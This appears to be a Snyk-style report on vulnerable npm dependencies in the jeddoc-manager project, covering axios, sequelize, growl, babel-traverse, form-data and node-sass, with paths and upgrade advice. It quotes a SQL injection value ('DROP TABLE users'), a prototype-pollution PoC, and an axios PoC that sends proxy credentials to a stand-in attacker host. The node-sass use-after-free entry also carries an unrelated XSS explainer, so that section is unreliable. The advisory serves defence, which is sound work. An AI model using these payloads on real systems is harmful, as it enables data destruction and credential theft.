Vulnerabilities |
185 via 566 paths |
|---|---|
Dependencies |
1426 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: growl
- Introduced through: mocha@3.5.3 and nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › growl@1.9.2Remediation: Upgrade to mocha@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › growl@1.9.2
Overview
growl is a package adding Growl support for Nodejs.
Affected versions of this package are vulnerable to Command Injection due to unsafe use of the eval() function. Node.js provides the eval() function by default, and is used to translate strings into Javascript code. An attacker can craft a malicious payload to inject arbitrary commands.
Remediation
Upgrade growl to version 1.10.0 or higher.
References
critical severity
- Vulnerable module: form-data
- Introduced through: jsdom@8.5.0, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › chai-http@3.0.0 › superagent@2.3.0 › form-data@1.0.0-rc4Remediation: Upgrade to chai-http@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › form-data@2.1.4
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@6.19.1.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.
Remediation
Upgrade sequelize to version 6.19.1 or higher.
References
critical severity
- Vulnerable module: babel-traverse
- Introduced through: babel-eslint@7.2.3, babel-register@6.26.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-eslint@7.2.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-plugin-istanbul@4.1.6 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-plugin-istanbul@4.1.6 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-plugin-transform-class-constructor-call@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babili-webpack-plugin@0.1.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-helper-bindify-decorators@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.
Remediation
There is no fixed version for babel-traverse.
References
critical severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request.
This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.
Notes
- The gadget only matters when the request body is a non-
FormDatapayload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path. - The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
critical severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
high severity
new
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.30.3.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
